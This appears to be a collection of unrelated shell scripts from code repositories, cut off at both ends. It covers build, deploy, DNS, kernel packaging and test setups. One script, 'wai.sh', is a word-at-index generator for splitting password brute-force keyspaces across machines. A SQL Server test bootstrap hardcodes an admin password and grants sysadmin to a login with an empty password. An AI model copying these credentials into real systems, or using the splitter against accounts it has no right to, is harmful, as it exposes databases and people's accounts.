list\" \"$ICON_WIFI\"\nfi\n\naddResult \"\" \"Off\" \"Turn $NAME Off\" \"$INTERFACE ($MAC)\" \"$ICON_WIFI\"\n\ngetXMLResults"} {"text": "version=\"0.0.2\"\nlSet=(\"a\" \"b\" \"c\" \"d\" \"e\" \"f\" \"g\" \"h\" \"i\" \"j\" \"k\" \"l\" \"m\" \"n\" \"o\" \"p\" \"q\" \"r\" \"s\" \"t\" \"u\" \"v\" \"w\" \"x\" \"y\" \"z\")\nuSet=(\"A\" \"B\" \"C\" \"D\" \"E\" \"F\" \"G\" \"H\" \"I\" \"J\" \"K\" \"L\" \"M\" \"N\" \"O\" \"P\" \"Q\" \"R\" \"S\" \"T\" \"U\" \"V\" \"W\" \"X\" \"Y\" \"Z\")\ndSet=(\"0\" \"1\" \"2\" \"3\" \"4\" \"5\" \"6\" \"7\" \"8\" \"9\")\nsSet=(\" \" \"!\" \"\\\"\" \"#\" \"\\$\" \"%\" \"&\" \"'\" \"(\" \")\" \"*\" \"+\" \",\" \"-\" \".\" \"/\" \":\" \";\" \"<\" \"=\" \">\" \"?\" \"@\" \"[\" \"\\\\\" \"]\" \"^\" \"_\" \"\\`\" \"{\" \"|\" \"}\" \"~\")\nset1=()\nset2=()\nset3=()\nset4=()\n\nmask=\"\"\nmaskLength=0\nwordLength=0\nwordSet=()\nindex=0\n\ndisplayHelpMenu(){\n\necho \"Word At Index 0.0.2\n===================\n\n WordAtIndex generator Version $version by <NAME> ,\n Returns the word of a mask given its index.\n\tPurpose: split a mask for eg distributed computing [brute force]\n\n\tpc1 -> mask[0-100000000]\n\tpc2 -> mask[100000001-200000000]\n\t...\n\n\tUsage: bash wai.sh -i index -m mask [customCharSet]\n\teg. \n\t\tbash wai.sh -i1000000 -m?d?d?d?d?d?d?d?d\n\twill output\n\t\t'00999999'\n\tsurrounding '' are needed to make sure the space char wont be forgotten\n\n\t* Info:\n\t -p, to display the full output additional to the word at index -i\n\t -v, Display version number\n\t -h, Display this help menu\n\n\t* generation:\n\n\t -i, Index for Word; fist word at index 1\n\t -m, Specify mask via Built-in charsets\n\n\t Example:\n\t \n\t bash wai.sh -i 13 -m ?d?d\n\t \n\t* Custom charsets:\n\n\t -1, -2, -3, -4, Specify custom charsets via Built-in charsets\n\n\t Example:\n\n\t bash wai.sh -i 13 -m ?1?d?1 -1 ?dabcDE \n\t \n\t IMPORTANT -1 ?d?l NOT EQUAL -1 ?l?d\n\n\t* Built-in charsets:\n\n\t ?l = 'abcdefghijklmnopqrstuvwxyz'\n\t ?u = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\n\t ?d = '0123456789'\n\t ?s = ' !\\\"#\\$%&'()*+,-./:;<=>?@[\\\\]^_\\`{|}~'\n\t\twithout surrounding ''\n\nENJOY & BE NICE ;)\n\nchangelog 0.0.2 - added -p option\n WAI will now only return the word at index -i inside single quotes '' \n instead of the bulky output information which can be added via -p\n\tthis will hopefully enable easy pipelining\n\"\n}\ntext=\"\"\nsetCustomSet(){\n text=$test\"*****set custom sets $1*****\\n\"\n setLength=${#OPTARG}\n \n for((i=0;i < $setLength;i++))\n do\n if [ \"${OPTARG:$i:1}\" == \"?\" ] && ([ \"${OPTARG:$i+1:1}\" == \"l\" ] || \n [ \"${OPTARG:$i+1:1}\" == \"u\" ] || [ \"${OPTARG:$i+1:1}\" == \"d\" ] || \n [ \"${OPTARG:$i+1:1}\" == \"s\" ])\n then\n i=$(expr $i + 1)\n newCustomSet=\"set$optname[@]\"\n \n newCharSet=\"${OPTARG:$i:1}Set[@]\"\n if [ \"$optname\" == \"1\" ]\n then\n set1=(\"${set1[@]}\" \"${!newCharSet}\")\n elif [ \"$optname\" == \"2\" ]\n then\n set2=(\"${set2[@]}\" \"${!newCharSet}\")\n elif [ \"$optname\" == \"3\" ]\n then\n set3=(\"${set3[@]}\" \"${!newCharSet}\")\n elif [ \"$optname\" == \"4\" ]\n then\n set4=(\"${set4[@]}\" \"${!newCharSet}\")\n fi\n text+=\"added $newCharSet : '${!newCharSet}'\\n\"\n \n else #if single char\n newCustomSet=\"set$optname[@]\"\n text+=\"char ${OPTARG:$i:1}\\n \"\n if [ \"$optname\" == \"1\" ]\n then\n set1=(\"${set1[@]}\" \"${OPTARG:$i:1}\")\n elif [ \"$optname\" == \"2\" ]\n then\n set2=(\"${set2[@]}\" \"${OPTARG:$i:1}\")\n elif [ \"$optname\" == \"3\" ]\n then\n set3=(\"${set3[@]}\" \"${OPTARG:$i:1}\")\n elif [ \"$optname\" == \"4\" ]\n then\n set4=(\"${set4[@]}\" \"${OPTARG:$i:1}\")\n fi\n text+=\"added '${OPTARG:$i:1}'\\n\"\n fi\n \n done\n text+=\"\\n\"\n text+=\"set$optname = ${!newCustomSet}\\n\"\n #echo \"*****end set custom sets*****\"\n \n}\n\ntimeNeeded(){\n keysPerSec=$1\n combis=$2\n seconds=$(expr $combis / $keysPerSec)\n minutes=$(expr $seconds / 60)\n hours=$(expr $minutes / 60)\n days=$(expr $hours / 24)\n years=$(expr $days / 356)\n text+=\"time for $combis words at ${keysPerSec}/s \\n\"\n text+=\"$minutes mins or $hours hours or $days days or $years years\\n\"\n text+=\"\\n\"\n}\nprintText=0\nwhile getopts \":hi:m:v1:2:3:4:p\" optname\n do\ncase \"$optname\" in\n \"p\")\n printText=1\n ;;\n \"v\")\n text+=\"wordAtIndex Version $version\\n\"\n ;;\n \"h\")\n displayHelpMenu\n ;;\n \"i\")\n index=$OPTARG\n ;;\n \"m\")\n text+=\"*****generate wordset*****\\n\"\n text+=\"\\n\"\n mask=$OPTARG\n text+=\"Mask set to $OPTARG\\n\"\n maskLength=${#OPTARG}\n text+=\"MaskLength set to $maskLength\\n\"\n #echo \"\"\n for((i=0;i < $maskLength;i++))\n do\n char=\"${OPTARG:$i:1}\"\n #if charset 1 2 3 4 l u d s\n if [ \"$char\" == \"?\" ] && ([ \"${OPTARG:$i+1:1}\" == \"1\" ] || \n [ \"${OPTARG:$i+1:1}\" == \"2\" ] || [ \"${OPTARG:$i+1:1}\" == \"3\" ] || \n [ \"${OPTARG:$i+1:1}\" == \"4\" ] || [ \"${OPTARG:$i+1:1}\" == \"l\" ] || \n [ \"${OPTARG:$i+1:1}\" == \"u\" ] || [ \"${OPTARG:$i+1:1}\" == \"d\" ] || \n [ \"${OPTARG:$i+1:1}\" == \"s\" ])\n then\n i=$(expr $i + 1)\n #echo \"current set = $char${OPTARG:$i:1}\"\n wordLength=$(expr $wordLength + 1) \n #echo \"\" #if custom charset 1 2 3 4\n if [ \"${OPTARG:$i:1}\" == \"1\" ] || [ \"${OPTARG:$i:1}\" == \"2\" ] ||\n [ \"${OPTARG:$i:1}\" == \"3\" ] || [ \"${OPTARG:$i:1}\" == \"4\" ]\n then\n newCharSet=\"set${OPTARG:$i:1}[@]\"\n #if build-in charset l u d s\n elif [ \"${OPTARG:$i:1}\" == \"l\" ] || [ \"${OPTARG:$i:1}\" == \"u\" ] ||\n [ \"${OPTARG:$i:1}\" == \"d\" ] || [ \"${OPTARG:$i:1}\" == \"s\" ] \n then\n newCharSet=\"${OPTARG:$i:1}Set[@]\"\n fi\n wordSet=(\"${wordSet[@]}\" \"$newCharSet\")\n #echo \"added '$newCharSet' to wordSet at pos $wordLength\"\n else #if single char\n #echo \"current char = $char\"\n wordLength=$(expr $wordLength + 1)\n wordSet=(\"${wordSet[@]}\" \"$char\")\n #echo \"added '$char' to wordSet at pos $wordLength\"\n fi\n #echo \"\"\n done\n text+=\"WordLength is $wordLength\\n\"\n text+=\"wordset = ${wordSet[@]}\\n\"\n #echo \"\"\n #echo \"*****end generate wordset*****\"\n ;;\n \"1\")\n setCustomSet 1\n ;;\n \"2\")\n setCustomSet 2\n ;;\n \"3\")\n setCustomSet 3\n ;;\n \"4echo \"\"\")\n setCustomSet 4\n ;;\n \"?\")\n echo \"Unknown option $OPTARG\"\n ;;\n \":\")\n echo \"No argument value for option $OPTARG\"\n ;;\n *)\n # Should not occur\n echo \"Unknown error while processing options\"\n ;;\n esac\n done\n text+=\"*****word generation*****\\n\"\n text+=\"index $index\\n\"\n text+=\"wordlength $wordLength\\n\"\n \n #get max combinations \n combinations=0\n for((i=0;i<$wordLength;i++))\n do\n #echo \"char ${wordSet[$i]}\"\n #echo \"value ${!wordSet[$i]}\"\n array=(\"${!wordSet[$i]}\")\n #echo \"length ${#array[@]}\"\n if [ \"$i\" == \"0\" ] \n then\n combinations=${#array[@]}\n else\n combinations=$(expr $combinations * ${#array[@]})\n fi\n \n done\n if [ \"$combinations\" -lt \"$index\" ] \n then\n text+=\"**********************************************************\\n\"\n text+=\"*index $index out of range max $combinations combinations*\\n\"\n text+=\"**********************************************************\\n\"\n else\n text+=\"\\n\"\n #echo \"mask $mask\"\n #echo \"wordSet ${wordSet[@]}\"\n text+=\"combinations $combinations\"\n \n timeNeeded 10000 $combinations\n timeNeeded 1000000000000 $combinations\n timeNeeded 1000000000000000000000000 $combinations\n timeNeeded 10000 $index\n \n #echo \"*****end word generation*****\"\n\n calIndex=$(expr $index - 1)\n rest=0\n wordAtIndex=\"\"\n for((i=$wordLength-1;i>=0;i--))\n do\n if [ \"${wordSet[$i]}\" == \"lSet[@]\" ] || [ \"${wordSet[$i]}\" == \"uSet[@]\" ] ||\n [ \"${wordSet[$i]}\" == \"dSet[@]\" ] || [ \"${wordSet[$i]}\" == \"sSet[@]\" ] ||\n [ \"${wordSet[$i]}\" == \"set1[@]\" ] || [ \"${wordSet[$i]}\" == \"set2[@]\" ] ||\n [ \"${wordSet[$i]}\" == \"set3[@]\" ] || [ \"${wordSet[$i]}\" == \"set4[@]\" ] \n then\n #echo \"char ${wordSet[$i]}\"\n #echo \"${!wordSet[$i]}\"\n array=(\"${!wordSet[$i]}\")\n rest=$(expr $calIndex % ${#array[@]})\n \n wordAtIndex=${array[$rest]}$wordAtIndex\n #echo \"${array[$rest]}\"\n calIndex=$(expr $calIndex / ${#array[@]})\n #echo \"rest $rest\"\n #echo \"new index $calIndex\"\n else\n wordAtIndex=${wordSet[$i]}$wordAtIndex\n fi\n \n done\n text+=\"$wordLength character word at index $index from max $combinations words\\n\"\n text+=\"********************************************\\n\"\n text+=\"*>>>>'$wordAtIndex'<<<<*\\n\"\n text+=\"********************************************\\n\"\n text+=\"without surrounding '' \\n\"\n text+=\"\\n\"\n \n \n #add split into array -s\n #add -t time stats ??\n fi\n if [ \"$printText\" == \"1\" ]\n then\n echo -e $text\n else\n echo \"'$wordAtIndex'\"\n fi"} {"text": "${PORTFMT} -d 0007.in | diff -L \"0007.expected\" -L \"0007.actual\" -u 0007.expected -"} {"text": "DIR=presets\nPYTHON=${PYTHON-python}\n\nif [ ! -f cscan.c ]; then\n cd ..\nfi\n\ncat $DIR/private.txt | $PYTHON compile-targets.py $DIR/private\ncat $DIR/reserved.txt $DIR/private.txt | $PYTHON compile-targets.py -b $DIR/public-all\ncat $DIR/reserved.txt $DIR/private.txt $DIR/assigned8.txt | $PYTHON compile-targets.py -b $DIR/public\n\n# commands below assume GeoLite2 ASN database in csv format is in db.csv\n\nif [ -f $DIR/db.csv ]; then\n echo running\n cd target-utils\n \n $PYTHON ignore-networks.py ../$DIR/db.csv ../$DIR/default.txt exclude.conf\n $PYTHON ignore-networks.py -c config_hostcloud.py ../$DIR/db.csv ../$DIR/default-with-hostcloud.txt exclude.conf\n \n $PYTHON include-networks.py ../$DIR/db.csv ../$DIR/cloud.txt\n $PYTHON include-networks.py -c config_hostcloud.py ../$DIR/db.csv ../$DIR/hostcloud.txt\n \n cd ..\n \n cat $DIR/default.txt | $PYTHON compile-targets.py -b -c $DIR/default\n \n for p in default-with-hostcloud; do\n cat $DIR/$p.txt | $PYTHON compile-targets.py -b $DIR/$p\n done\n \n for p in cloud hostcloud; do\n cat $DIR/$p.txt | $PYTHON compile-targets.py $DIR/$p\n done\nfi"} {"text": "#shellcheck shell=sh\n\nIt 'is simple'\n When call echo 'ok'\n The output should eq 'ok'\nEnd\n\nDescribe 'lib.sh'\n Include ./lib.sh # include other script\n\n Describe 'calc()'\n It 'calculates'\n When call calc 1 + 1\n The output should eq 2\n End\n End\nEnd"} {"text": "<reponame>tiagopossato/iot.central\n#!/bin/bash\n\nsource /home/tiago/centraltestenv/bin/activate\n\npython3 simulador.py"} {"text": "pkgver=rpi-5.10.y\npkgname=linux\npkgrel=1\next=\"dev\"\n\nfetch() {\n fetch_tar \"$pkgname-$pkgver.tar.gz\" f633fabf55892cf19fc9173d2b8df779 \"https://github.com/raspberrypi/linux/archive/refs/heads/$pkgver.tar.gz\"\n\tcd $pkgname-$pkgver\n\n\tpatch -p1 < ../../kernel-byacc.patch\n\tcurl 'https://cgit.freedesktop.org/drm/drm/patch/?id=26a4dc29b74a137f45665089f6d3d633fcc9b662' | patch -p1\n}\n\n_arch=$ARCH\ncase $_arch in\naarch64*) _arch=\"arm64\" ;;\nesac\n\nbuild() {\n\tcd $pkgname-$pkgver\n\tbad --gmake gmake CC=cc CXX=c++ HOSTCC=cc HOSTCXX=c++ YACC=yacc LLVM_IAS=1 ARCH=$_arch bcm2711_defconfig\n\tbad --gmake gmake CC=cc CXX=c++ HOSTCC=cc HOSTCXX=c++ YACC=yacc LLVM_IAS=1 ARCH=$_arch\n}\n\npackage() {\n\tcd $pkgname-$pkgver\n\tinstall -d $pkgdir/boot\n\tbad --gmake gmake CC=cc CXX=c++ HOSTCC=cc HOSTCXX=c++ YACC=yacc LLVM_IAS=1 ARCH=$_arch INSTALL_PATH=$pkgdir/boot install\n\tbad --gmake gmake CC=cc HOSTCC=cc LEX=flex YACC=yacc LLVM=1 LLVM_IAS=1 ARCH=$_arch INSTALL_DTBS_PATH=$pkgdir/boot dtbs_install\n\tbad --gmake gmake CC=cc CXX=c++ HOSTCC=cc HOSTCXX=c++ YACC=yacc LLVM_IAS=1 ARCH=$_arch INSTALL_MOD_PATH=$pkgdir/ modules_install\n\n\tif stat /usr/bin/rsync 2>/dev/null /dev/null; then\n\t\tbad --gmake gmake CC=cc CXX=c++ HOSTCC=cc HOSTCXX=c++ YACC=yacc LLVM_IAS=1 ARCH=$_arch INSTALL_HDR_PATH=$pkgdir/usr headers_install\n\telse\n\t\tbad --gmake gmake CC=cc CXX=c++ HOSTCC=cc HOSTCXX=c++ YACC=yacc LLVM_IAS=1 ARCH=$_arch headers\n\t\tfind -name '.*' -exec rm {} \\;\n\t\trm usr/include/Makefile\n\t\tinstall -d $pkgdir/usr/\n\t\tcp -r usr/include $pkgdir/usr/\n\tfi\n}\n\nbackup() {\n\treturn\n}\n\nlicense() {\n\tcd $pkgname-$pkgver\n\tcat COPYING\n}"} {"text": "<filename>cluster/start-server.sh<gh_stars>1000+\n#!/usr/bin/env bash\nfunction print_usage()\n{\n echo \"$0 servername\"\n echo \"example\"\n}\n\nsource ./ini.sh\n\n#check args format\nif [ $# -lt 1 ]; then\n print_usage\n exit\nfi\n\nif [ ! -f cluster.ini ]; then \n echo \"cluster.ini don't exist\"\n exit\nfi\n\n#judge server exist or not\nservers=`get cluster.ini server servers`\ncheck=`echo $servers | grep $1`\nif [ \"$check\"x = \"\"x ]; then\n echo not in\nfi\n#get server info\nip=`get cluster.ini $1 ip`\nport=`get cluster.ini $1 port`\nrole=`get cluster.ini $1 role`\nusername=`get cluster.ini $1 username`\nserverpath=`get cluster.ini $1 serverpath`\nindex=`get cluster.ini $1 index`\nstrategy=`get cluster.ini strategy strategy`\n#start server\nif [ \"$role\"x == \"nameserver\"x ]; then\n if [ \"$strategy\"x == \"none\"x ] || [ \"$strategy\"x == \"\"x ]; then \n #start nameserver\n ssh $username@$ip \"cd $serverpath\n nohup ./bin/nameserver --node_index=0 1>nlog 2>&1 &\n echo \\$! > pid\"\n elif [ \"$strategy\"x == \"master_slave\"x ]; then\n #start chunkserver\n ssh $username@$ip \"cd $serverpath\n nohup ./bin/nameserver --node_index=$index 1>nlog 2>&1 &\n echo \\$! > pid\"\n else\n echo \"can not support $strategy strategy\"\n fi\nelif [ \"$role\"x == \"chunkserver\"x ]; then\n #start\n ssh $username@$ip \"cd $serverpath\n nohup ./bin/chunkserver --chunkserver_port=$port 1>nlog 2>&1 &\n echo \\$! > pid\"\nelse\n echo \"config error: can not support role$role\"\nfi"} {"text": "#!/bin/bash\nset -euo pipefail\n\nif [ \"$(id -u)\" -ne 0 ]; then\n echo \"You need to run this as root.\"\n exit 1\nfi\n\nmkdir -p /etc/bind\n\ncat > /etc/bind/named.conf.options <<EOF\n// Berkeley IP ranges\nacl \"berkeley\" {\n\t128.32/16;\n\t136.152/16;\n\t169.229/16;\n\t208.1.64/19;\n\t192.31.161/24;\n\t192.58.221/24;\n\t2607:f140::/32;\n};\n\noptions {\n\tdirectory \"/var/cache/bind\";\n\n\tdnssec-validation auto;\n\tauth-nxdomain no; # conform to RFC1035\n\tlisten-on-v6 { any; };\n\n\tallow-query { any; };\n\n\trecursion yes;\n\tallow-recursion { localhost; \"berkeley\"; };\n};\nEOF\n\ncat > /etc/bind/db.example.com <<EOF\n;\n; BIND data file example.com\n;\n\\$TTL\t604800\n@\tIN\tSOA\tns.example.com. root.example.com. (\n\t\t\t\t1\t\t; Serial\n\t\t\t\t604800\t\t; Refresh\n\t\t\t\t86400\t\t; Retry\n\t\t\t\t2419200\t\t; Expire\n\t\t\t\t604800 )\t; Negative Cache TTL\n;\n@\tIN\tNS\t$(hostname -f).\n@\tIN\tA\t$(hostname -I | cut -d\" \" -f1)\ntest\tIN\tA\t192.168.3.11\nEOF"} {"text": "<filename>build.sh\ncmake -B build -DCMAKE_BUILD_TYPE=Debug\ncmake --build build --config Debug --target all"} {"text": "#!/bin/bash\nsource `dirname $0`/utils.sh\n\nshould_be_set PUBLIC_NGINX_ADDRESS\n\nexecute cd $SCRIPT_PATH\n\nexecute_optional pathfinder/stop.sh\nexecute_optional data_explorer/stop.sh\nexecute_optional experiment_manager/stop.sh\nexecute_optional storage_manager/stop.sh\nexecute_optional information_service/stop.sh\n\nexecute_optional pathfinder/delete.sh\nexecute_optional data_explorer/delete.sh\nexecute_optional experiment_manager/delete.sh\nexecute_optional storage_manager/delete.sh\nexecute_optional information_service/delete.sh\n\nexecute_optional nginx/stop.sh\nexecute_optional nginx/delete.sh"} {"text": "#!/bin/bash\n\nupdate() {\n cd $1\n echo \"Run git pull in: $1\"\n git pull origin master\n cd $2\n}\n\nfor f in vendor/mindy/* ; do\n if [ -d \"$f\" ]; then\n update $f `pwd`\n fi\ndone"} {"text": "<filename>bin/update-versions.sh\n#!/bin/bash -eux\nfind $(git rev-parse --show-toplevel) -maxdepth 3 -name 'ambiata-mismi-*.cabal' \\\n | xargs -n1 \\\n sed -i -E \"s;^(version: +).*;\\1${1};\""} {"text": "echo \"Clearin cache...\" && \\\nphp artisan config:clear && \\\nphp artisan cache:clear && \\\n\nyarn run watch"} {"text": "#!/usr/bin/env bash\n\nnpm run clean && npm run build && npm run test"} {"text": "<reponame>tpalczew/Exercism.io-solutions\n#!/bin/sh\nmake -C /Users/tpalczew/Exercism/cpp/hello-world/build -f /Users/tpalczew/Exercism/cpp/hello-world/build/CMakeScripts/hello-world_postBuildPhase.make$CONFIGURATION all"} {"text": "#!/bin/bash\n\nset -o nounset\nset -o errexit\nset -o pipefail\n\nCONFIG=\"${SHARED_DIR}/install-config.yaml\"\nCLUSTER_NAME=\"${NAMESPACE}\"\nREGION=\"ppe3\"\necho \"Azure region: ${REGION}\"\n\nworkers=3\nif [[ \"${SIZE_VARIANT}\" == \"compact\" ]]; then\n workers=0\nfi\nmaster_type=null\nif [[ \"${SIZE_VARIANT}\" == \"xlarge\" ]]; then\n master_type=Standard_D32_v3\nelif [[ \"${SIZE_VARIANT}\" == \"large\" ]]; then\n master_type=Standard_D16_v3\nelif [[ \"${SIZE_VARIANT}\" == \"compact\" ]]; then\n master_type=Standard_D8_v3\nfi\necho $master_type\n\nENDPOINT=\"${AZURESTACK_ENDPOINT}\"\necho \"ASH ARM Endpoint: ${ENDPOINT}\"\ncp \"/var/run/azurestack-cluster-secrets/service-principal\" \"${SHARED_DIR}/osServicePrincipal.json\"\n\ncat >> \"${CONFIG}\" << EOF\nbaseDomain: ppe.azurestack.devcluster.openshift.com\ncredentialsMode: Manual\nmetadata:\n name: ${CLUSTER_NAME}\nplatform:\n azure:\n baseDomainResourceGroupName: openshiftInstallerRG\n region: ${REGION}\n cloudName: AzureStackCloud\n armEndpoint: ${ENDPOINT}\ncontrolPlane:\n name: master\ncompute:\n- name: worker\n replicas: ${workers}\nEOF\n\necho \"${AZURESTACK_ENDPOINT}\" >> ${SHARED_DIR}/AZURESTACK_ENDPOINT\necho \"${SUFFIX_ENDPOINT}\" >> ${SHARED_DIR}/SUFFIX_ENDPOINT"} {"text": "#!/bin/bash\nsudo apt-get remove -y example-deb-package"} {"text": "#!/usr/bin/env bash\nset -o errexit\nset -o nounset\nset -o pipefail\n\n# log info to console\necho \"Fetching logs from overcloud. This could take some time...\"\necho \"--------------------------------------------------------\"\necho\n\nif sudo opnfv-pyutil --fetch-logs; then\n LOG_LOCATION=$(cat apex_util.log | grep 'Log retrieval complete' | grep -Eo '/tmp/.+$')\n if [ -z \"$LOG_LOCATION\" ]; then\n echo \"WARNING: Unable to determine log location. Logs will not be uploaded\"\n exit 0\n else\n sudo chmod 777 ${LOG_LOCATION}\n UPLOAD_LOCATION=\"${GS_URL}/logs/${JOB_NAME}/${BUILD_NUMBER}/\"\n gsutil -m cp -r ${LOG_LOCATION} gs://${UPLOAD_LOCATION} > gsutil.latest_logs.log\n echo -e \"Logs available at: \\n$(find ${LOG_LOCATION} -type f | sed -n 's#^/tmp/#http://'$UPLOAD_LOCATION'#p')\"\n fi\nelse\n echo \"WARNING: Log retrieval failed. No logs will be uploaded\"\n exit 0\nfi"} {"text": "# Generate a source tarball including submodules\nif [ -z \"${1}\" ] ; then\n echo No tag or branch given\n exit 1\nfi\nver=${1}\n# Remove initial v from tag name for use in filenames\nif [ ${ver:0:1} = 'v' ] ; then\n fver=${ver:1}\nelse\n fver=${ver}\nfi\nif [ -r scitokens-cpp_${fver}.orig.tar.gz ] ; then\n echo scitokens-cpp_${fver}.orig.tar.gz already exists\n exit 1\nfi\ncurdir=$(pwd)\ntdir=$(mktemp -d)\ncd ${tdir}\ngit clone https://github.com/scitokens/scitokens-cpp.git\ncd scitokens-cpp\ngit checkout ${ver}\nif [ $? -ne 0 ] ; then\n echo No such tag or branch: ${ver}\n cd ${curdir}\n rm -rf ${tdir}\n exit 1\nfi\ngit archive --prefix scitokens-cpp_${fver}/ ${ver} -o ${tdir}/scitokens-cpp_${fver}.orig.tar\ngit submodule update --init\ngit submodule foreach --recursive \"git archive --prefix scitokens-cpp_${fver}/\\$path/ \\$sha1 -o ${tdir}/\\$sha1.tar ; tar -A -f ${tdir}/scitokens-cpp_${fver}.orig.tar ${tdir}/\\$sha1.tar ; rm ${tdir}/\\$sha1.tar\"\ncd ${tdir}\ngzip scitokens-cpp_${fver}.orig.tar\nmv scitokens-cpp_${fver}.orig.tar.gz ${curdir}\ncd ${curdir}\nrm -rf ${tdir}"} {"text": "<gh_stars>1-10\n#!/bin/bash\n\n### build.shがあるディレクトリへ移動\ncd $(dirname $0)\n\n## システムロケーションルートの設定\nif [ \"${SYSTEM_LOCATION_ROOT}\" == \"\" ]; then\n export SYSTEM_LOCATION_ROOT=rebecca\nfi\n\n## 前回実行時のnginx設定ファイルの削除\nrm -drf http*\n\n## nginxコンフィグファイル上のルート設定書き換え\ncp ./config/http* ./\nsed -ie \"s/SYSTEM_LOCATION_ROOT/${SYSTEM_LOCATION_ROOT}/g\" ./http*\n\n## release媒体配置箇所へ移動\ncd ../../../\n\n## dockerイメージのビルド\ndocker build -t spf-nj-nginx \\\n-f ./building/docker_building/spf-nj-nginx/Dockerfile . \\\n--no-cache=true"} {"text": "#!/bin/sh\n\necho '========================================================'\necho '(buildAll.sh) STARTING MSCL BUILD'\n\n#add path to boost libraries\nexport LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/jenkins/boost/boost_1.64.0_installed/lib\n\n#for now, bjam needs this folder to exist\necho '(buildAll.sh) Creating the build\\swig-python directory'\nmkdir -p build/swig-python\n\n#build the C++ and Python extensions\necho '(buildAll.sh) Running BJAM (C++)'\nbjam MSCL//stage_c++ release\n\n#have to do this twice to copy the mscl.py (BUG)\necho '(buildAll.sh) Running BJAM (Python)'\nbjam MSCL//stage_python_x86 release\necho '(buildAll.sh) Running BJAM (Python) (2)'\nbjam MSCL//stage_python_x86 release\n\n#build the Unit Tests\necho '(buildAll.sh) Building Unit Tests'\nbjam MSCL_Unit_Tests release\n\n#Run the Unit Tests\necho '(buildAll.sh) Running Unit Tests'\nbuild/MSCL_Unit_Tests/gcc-host/release/mscl_unit_tests --output_format=XML --log_level=all --report_level=no 1>\"MSCL_Unit_Tests/unitTestResults.xml\"\n\n#zip everything up\necho '(buildAll.sh) Zipping the MSCL Output'\nbash BuildScripts/zipOutput.sh\n\n\necho '(buildAll.sh) DONE'\necho '========================================================'"} {"text": "<reponame>t-hishinuma/QD<gh_stars>10-100\n#!/bin/bash\nPACKAGE_NAME=qd\nMAJOR_VERSION=2\nMINOR_VERSION=3\nPATCH_LEVEL=$1\nif [ -z \"$PATCH_LEVEL\" ]; then\n echo \"Usage: makedist.sh patch-level\"\n exit\nfi\n\nif [ \"$PATCH_LEVEL\" = \"git\" ]; then\n PATCH_LEVEL=git-$(git log --max-count=1 --pretty=oneline | cut -c -8)\nfi\nVERSION=$MAJOR_VERSION.$MINOR_VERSION.$PATCH_LEVEL\n\necho \"Creating $PACKAGE_NAME-$VERSION distribution...\"\n\nDIR=/var/tmp/$PACKAGE_NAME-$$\nORIG_DIR=`pwd`\n\nexport CXX=g++\nexport FC=gfortran\n\nmkdir -p $DIR &&\ncp -pr . $DIR &&\ncd $DIR &&\nmv configure.ac configure.old &&\nsed \"/^define(\\[QD_PATCH_VERSION\\]/s/devel/$PATCH_LEVEL/\" configure.old >configure.ac && \nrm -f configure.old &&\nconfig/autogen.sh &&\n./configure &&\ngit log --no-merges >ChangeLog &&\nmake doc &&\nmake distcheck &&\ncp $PACKAGE_NAME-$VERSION.tar.gz $ORIG_DIR &&\nrm -rf $DIR"} {"text": "<filename>bootstrap_sqlserver.sh\n#!/usr/bin/env bash\n# The output of all these installation steps is noisy. With this utility\n# the progress report is nice and concise.\nfunction install {\n echo installing $1\n shift\n apt-get -y install \"$@\" >/dev/null 2>&1\n}\n\n# TinyTDS\ninstall libc6-dev libc6-dev\nwget http://www.freetds.org/files/stable/freetds-1.1.32.tar.gz\ntar -xzf freetds-1.1.32.tar.gz\ncd freetds-1.1.32\n./configure --prefix=/usr/local --with-tdsver=7.3\nmake\nmake install\n\n# Preparation\nwget -qO- https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -\ncurl https://packages.microsoft.com/config/ubuntu/18.04/mssql-server-2017.list | sudo tee /etc/apt/sources.list.d/microsoft.mssql-server-2017.list\ncurl https://packages.microsoft.com/config/ubuntu/18.04/prod.list | sudo tee /etc/apt/sources.list.d/microsoft.prod.list\napt-get update\n\n# Install SQL Server\ninstall mssql-server mssql-server\nMSSQL_PID=Developer ACCEPT_EULA=Yes MSSQL_SA_PASSWORD=<PASSWORD>! /opt/mssql/bin/mssql-conf --noprompt setup\nsystemctl status mssql-server --no-pager\n\n# Install the SQL Server command-line tools\nACCEPT_EULA=Y apt-get install -y mssql-tools unixodbc-dev\necho 'export PATH=\"$PATH:/opt/mssql-tools/bin\"' >> /home/vagrant/.bashrc\n\n# Setup test databases and users\nsleep 5\n/opt/mssql-tools/bin/sqlcmd -S localhost -U sa -P MSSQLadmin! <<SQL\nCREATE DATABASE [activerecord_unittest];\nCREATE DATABASE [activerecord_unittest2];\nGO\nCREATE LOGIN [rails] WITH PASSWORD = '', CHECK_POLICY = OFF, DEFAULT_DATABASE = [activerecord_unittest];\nGO\nUSE [activerecord_unittest];\nCREATE USER [rails] FOR LOGIN [rails];\nGO\nEXEC sp_addrolemember N'db_owner', N'rails';\nEXEC master..sp_addsrvrolemember @loginame = N'rails', @rolename = N'sysadmin';\nGO\nSQL\n\n# rbenv and Rubies\ninstall libreadline-dev libreadline-dev\ngit clone https://github.com/rbenv/rbenv.git /home/vagrant/.rbenv\nmkdir -p /home/vagrant/.rbenv/plugins\ngit clone https://github.com/rbenv/ruby-build.git /home/vagrant/.rbenv/plugins/ruby-build\nchown -R vagrant:vagrant /home/vagrant/.rbenv\n\necho 'export PATH=\"/home/vagrant/.rbenv/bin:$PATH\"' >> /home/vagrant/.bashrc\necho 'eval \"$(rbenv init -)\"' >> /home/vagrant/.bashrc\n\nrunuser -l vagrant -c '/home/vagrant/.rbenv/bin/rbenv install 2.5.9'\nrunuser -l vagrant -c '/home/vagrant/.rbenv/bin/rbenv install 2.6.7'\nrunuser -l vagrant -c '/home/vagrant/.rbenv/bin/rbenv install 2.7.3'\nrunuser -l vagrant -c '/home/vagrant/.rbenv/bin/rbenv install 3.0.1'\nrunuser -l vagrant -c '/home/vagrant/.rbenv/bin/rbenv global 3.0.1'\n\n# Install dot\ninstall graphviz graphviz\n\n# Misc\necho \"test -d /vagrant/activerecord-sqlserver-adapter && cd /vagrant/activerecord-sqlserver-adapter\" >> /home/vagrant/.bashrc\n\necho 'all set, rock on!'"} {"text": "#!/bin/sh\n\nCGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o recipe .\ndocker build -t recepies_api .\ndocker tag recepies_api:latest proto:6000/recepies_api"} {"text": "<filename>Terraform/install_wordpress.sh\n#!/bin/bash \n \n ####################################### \n # Bash script to install WordPress on ubuntu \n # Author: Subhash (<EMAIL>) \n \n ## Check if 